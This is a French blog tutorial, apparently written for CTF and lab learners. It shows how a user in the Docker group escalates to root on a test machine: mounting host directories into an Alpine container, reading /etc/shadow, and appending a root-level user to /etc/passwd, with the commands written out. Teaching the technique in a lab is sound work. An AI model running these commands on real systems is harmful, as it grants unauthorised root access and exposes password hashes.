Hey les amis ! J’espère que vous progressez 😉

 

Dans un article précédent, je vous ai parlé de  » Docker et sa configuration « . Aujourd’hui, je vais vous montrer comment escalader les privilèges Docker pour générer le Shell root.

 

 

Introduction et Rappel

 

En fait,  toutes les commandes du docker nécessitent sudo car le docker a besoin de root pour s’exécuter. Le démon Docker fonctionne de telle manière qu’il est autorisé à accéder à l’utilisateur root ou à tout autre utilisateur du groupe docker particulier. Donc l’accès au groupe docker est le même que pour donner un accès root sans mot de passe, intéressant non ?

 

 

 

Préparation du Lab

 

Si ce n’est pas déjà fait je commence par installer docker. Pour cela, j’ouvre mon terminal sous Linux et je tape la commande suivante :

apt installer docker.io

C’est fait ! afin de terminer la configuration de mon Lab de test je crée un utilisateur local, dit demo comme nom d’utilisateur avec le moins de privilèges et j’ajoute un nouveau groupe « docker » pour demo.

adduser demo

usermod -G docker demo

newgrp docker

Voilà, maintenant tout est prêt !

 

 

Exploitation

 

Depuis ma machine attaquante (Kali Linux), je vais me connecter sur ma cible (Ubuntu Lab de test) en me servant du ssh :

ssh demo@192.168.1.112

id

docker run -v /root:/mnt -it alpine

id

cd mnt/

cat flag.txt

NB : Vous devez créer votre fichier flag au préalable dans votre racine 😉, le contenu n’est pas important vous êtes libres de mettre ce que vous souhaitez !

 

De plus, un hacker peut monter (mount) d’autres fichiers système pour élever le privilège de l’utilisateur local, comme le fichier passwd ou shadow ou ssh-key.

En essayant de monter le répertoire /etc pour obtenir le fichier shadow ou passwd je pourrai ajouter mon propre utilisateur privilégié. C’est cool non ? Surtout très puissant !

Je vous montre :

docker run -v /etc/:/mnt -it alpine

cd /mnt

cat shadow

Super, ça fonctionne donc je continue.

 

Donc, vu que j’ai accès au fichier shadow, je peux essayer de casser les hachages dans un premier temps. Par la suite, si je peux écrire dans le fichier passwd, je pourrai ajouter mon propre utilisateur privilégié en générant du sel de mot de passe avec openssl.

Openssl passwd -1 -salt kali

NB : Ne pas oublier de copier le hash dans un fichier à part afin de s’en servir ultérieurement.

 

À ce stade, je vais essayer d’enregistrer un nouvel utilisateur (avec les privilèges élevés) dans le fichier passwd :

docker run -v /etc/:/mnt -it alpine

cd /mnt

echo ‘kali :$1$kali$wI4zWYgrvFtXW5o1A5Nkr0:0:0::/root:/bin/bash’ >>passwd

tail passwd

exit (pour revenir sur le shell précédent)

La commande tail permet d’afficher les dernières lignes du fichier en question.

Après, toujours depuis le même terminal et en tant que demo je tente de me connecter à kali qui est le nouvel utilisateur ajouté précédemment.

su kali

id

whoami

pwd

Et voilà je suis root, j’ai réussi à escalader les privilèges au plus haut niveau.

 

 

Conclusion

C’est la fin de cet article les amis, ces derniers temps je vous ai beaucoup parlé de docker… et je ne pouvais finaliser sans vous montrer l’escalade de privilège et cette vulnérabilité.

A vrai dire j’ai déjà été confronté à cette manipulation durant un CTF et pas qu’une fois, c’est pourquoi je vous invite vivement de vous familiariser avec.

En cas de difficultés ou de problèmes durant la mise en pratique de cet article, veuillez me contacter afin de pouvoir vous guider et solutionner.

See you soon for a new article !! Peace 😉

No responses yet

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

quatre − trois =

Follow by Email
YouTube